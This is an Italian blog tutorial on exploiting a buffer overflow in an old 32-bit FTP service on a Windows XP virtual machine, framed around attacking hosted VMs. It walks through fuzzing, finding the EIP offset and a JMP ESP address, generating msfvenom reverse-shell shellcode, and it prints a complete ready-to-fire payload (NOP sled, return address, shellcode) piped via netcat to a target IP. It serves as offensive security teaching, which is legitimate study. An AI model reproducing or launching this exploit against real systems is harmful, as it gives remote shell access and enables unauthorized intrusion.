fbpx

ShellCoding – Exploitation di una VM

Nelle aziende la presenza di servizi virtuali è molto frequente. Basti pensare alla moltitudine di servizi VPS (Virtual Private Server) offerti dagli ISP (Internet Service Provider) come Aruba e simili.

Che cos’è una VM e che vantaggi offre?

Le Macchine Virtuali sono caratterizzate da un Software che mediante “virtualizzazione” emulano il comportamento di una Macchina Fisica (PC o Server). L’Host fisico, che ospita una o più macchine virtuali, presterà parte delle proprie risorse alle VM (RAM, disco rigido, etc..). Il vantaggio fondamentale delle VM è quello di offrire ad un utente più servizi virtuali in un unico ambiente fisico. In parole semplici è come avere “10 PC in UNO” !

Ora facciamo un esempio concreto, immaginate un ISP ed il suo WebServer. Ogni utente vorrà il proprio spazio, sistema operativo e servizi diversi. L’ISP crea uno spazio virtuale per ogni esigenza, e NON dovrà comprare tante macchine fisiche, ma solo una, con sufficenti prestazioni da gestire tutte le VM che vuole. Comodo no?

Quali sono i pericoli di questi sistemi?

Ma dal punto di vista di un PenTester bisogna considerare l’aspetto “Sicurezza”.
Premesso che per meglio seguire questa demo occorrono delle basi di Assembly, Buffer Overflow e ShellCoding. Per cui leggete prima questo articolo: “Buffer Overflow – BOF“.

Come Exploitare una VM?

Utilizzeremo uno ShellCode fatto su misura per il nostro Target. Supponendo di conoscere già il Sistema Operativo ed i servizi in esecuzione sulla VM Target…. Per esempio:

  • OS= Windows XP Service Pack 3 ENG
  • Porta= 21, FTP e Banner

…Dobbiamo riprodurre un ambiente identico presso il nostro LAB. Utilizzando lo stesso OS, lo stesso servizio e relativa versione, lo stesso software di virtualizzazione, etc… Tutto UGUALE!

Di solito non è difficile ricavare queste info, perchè sono gli stessi ISP a renderle pubbliche. Ciò non toglie che dobbiamo fare sempre qualche scansione con NMAP.

A questo punto abbiamo un ambiente di test identico a quello del Target. Apriamo la nostra VM-Clone e recuperiamo la JMP ESP.

Aprire l’App “vulnerabile” (es. 32bit FTP, vecchiotto ma utile per esercitarsi) con OllyDBG.

Facciamo un po di Fuzzing con Pattern_Create. Creiamo una stringa di 1500 caratteri per mandare in Crash l’App ed ottenere EIP.

Nella seguente directory di Kali Linux troverete il tool:

/usr/share/metasploit-framework/tools/exploit/ (cartella pattern)

Lanciate Pattern_Create: ./pattern_create.rb

Ora inviamo i 1500 caratteri all’App tramite NetCat.

Noterete che EIP è stato riscritto e che l’App si è arrestata (Crash!!).

Per far si che lo ShellCode vada a segno, non dobbiamo impedire il funzionamento dell’App. Anzi l’App deve continuare ad essere in esecuzione, un arresto anomalo interromperebbe ogni comunicazione e quindi lo ShellCode non potrà comunicare con il nostro Handler di MSF. Per cui con Pattern_Offset adesso ci calcoleremo l’esatto numero di dati che dobbiamo inviare per riscrivere EIP. Sempre nella stessa Directory MSF lanciate l’Offset:  ./pattern_offset.rb e come parametro inserite EIP ricavato dal passaggio precedente.

I caratteri sono “185“. Ora sappiamo che dobbiamo inviare 185 NOP (es. \x90) poi la JMP ESP (ricavata all’inizio di questo articolo) e poi il nostro Shellcode. Quindi: “185 volte \x90” + “JMP ESP” + “ShellCode”

N.B.

Le NOP non svolgono alcuna funzione. Servono solo a madare avanti l’esecuzione del processore.

Creiamo il codice da inviare (ShellCode): msfvenom -p windows/shell_reverse_tcp -a x86 –platform windows LHOST=[Tuo IP] LPORT=[La Porta] -b \x00 -f c

Per lanciare il nostro Exploit abbiamo creato un modulo MSF personalizzato, in questo modo per noi è più comodo gestire il tutto.

Ecco fatto, lanciamo il comando “Exploit”…

…E siamo ROOT!!!

A questo punto basta inserire i dati del Target e provarlo!!!

Procedura alternativa con NetCat

Premesso che JMP ESP= \xf0\x69\x83\x7c

  1. Creare il Payload :
    msfvenom -p windows/shell_reverse_tcp -a x86 –platform windows LHOST=[Tuo IP] LPORT=[La Porta] -b \x00 -f c
  2. Lanciare il Payload (echo -ne “il_Payload_creato” | nc “ip_target” “porta_target):
echo -ne "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xf0\x69\x83\x7c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xdb\xc2\xbe\x0c\xbb\x0d\xd5\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x70\x13\x03\x7c\xa8\xef\x20\x80\x26\x6d\xca\x78\xb7\x12\x42\x9d\x86\x12\x30\xd6\xb9\xa2\x32\xba\x35\x48\x16\x2e\xcd\x3c\xbf\x41\x66\x8a\x99\x6c\x77\xa7\xda\xef\xfb\xba\x0e\xcf\xc2\x74\x43\x0e\x02\x68\xae\x42\xdb\xe6\x1d\x72\x68\xb2\x9d\xf9\x22\x52\xa6\x1e\xf2\x55\x87\xb1\x88\x0f\x07\x30\x5c\x24\x0e\x2a\x81\x01\xd8\xc1\x71\xfd\xdb\x03\x48\xfe\x70\x6a\x64\x0d\x88\xab\x43\xee\xff\xc5\xb7\x93\x07\x12\xc5\x4f\x8d\x80\x6d\x1b\x35\x6c\x8f\xc8\xa0\xe7\x83\xa5\xa7\xaf\x87\x38\x6b\xc4\xbc\xb1\x8a\x0a\x35\x81\xa8\x8e\x1d\x51\xd0\x97\xfb\x34\xed\xc7\xa3\xe9\x4b\x8c\x4e\xfd\xe1\xcf\x06\x32\xc8\xef\xd6\x5c\x5b\x9c\xe4\xc3\xf7\x0a\x45\x8b\xd1\xcd\xaa\xa6\xa6\x41\x55\x49\xd7\x48\x92\x1d\x87\xe2\x33\x1e\x4c\xf2\xbc\xcb\xc3\xa2\x12\xa4\xa3\x12\xd3\x14\x4c\x78\xdc\x4b\x6c\x83\x36\xe4\x07\x7e\xd1\xa7\xc8\xa8\x24\xd0\xea\xa8\x22\x6d\x62\x4e\x40\x7d\x22\xd9\xfd\xe4\x6f\x91\x9c\xe9\xa5\xdc\x9f\x62\x4a\x21\x51\x83\x27\x31\x06\x63\x72\x6b\x81\x7c\xa8\x03\x4d\xee\x37\xd3\x18\x13\xe0\x84\x4d\xe5\xf9\x40\x60\x5c\x50\x76\x79\x38\x9b\x32\xa6\xf9\x22\xbb\x2b\x45\x01\xab\xf5\x46\x0d\x9f\xa9\x10\xdb\x49\x0c\xcb\xad\x23\xc6\xa0\x67\xa3\x9f\x8a\xb7\xb5\x9f\xc6\x41\x59\x11\xbf\x17\x66\x9e\x57\x90\x1f\xc2\xc7\x5f\xca\x46\xf7\x15\x56\xee\x90\xf3\x03\xb2\xfc\x03\xfe\xf1\xf8\x87\x0a\x8a\xfe\x98\x7f\x8f\xbb\x1e\x6c\xfd\xd4\xca\x92\x52\xd4\xde" | nc 172.135.10.66 4444

Quanto avete appena visto, è una tecnica di ShellCoding di base. Lo ShellCode è un Universo molto vasto di cose da imparare!

N.B.

Ricordate sempre che l’ndirizzo (JMP ESP) del Kernel32.dll va convertito da “Big Endian” ad “Little Endian”.  Es. 5c987686 = \x86\x76\x98\x5c 

Il calcolo potete eseguirlo a mano, ma se vi occorre potete aiutarvi con questo servizio online di conversione: https://www.scadacore.com/tools/programming-calculators/online-hex-converter/

Grazie per la Lettura!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *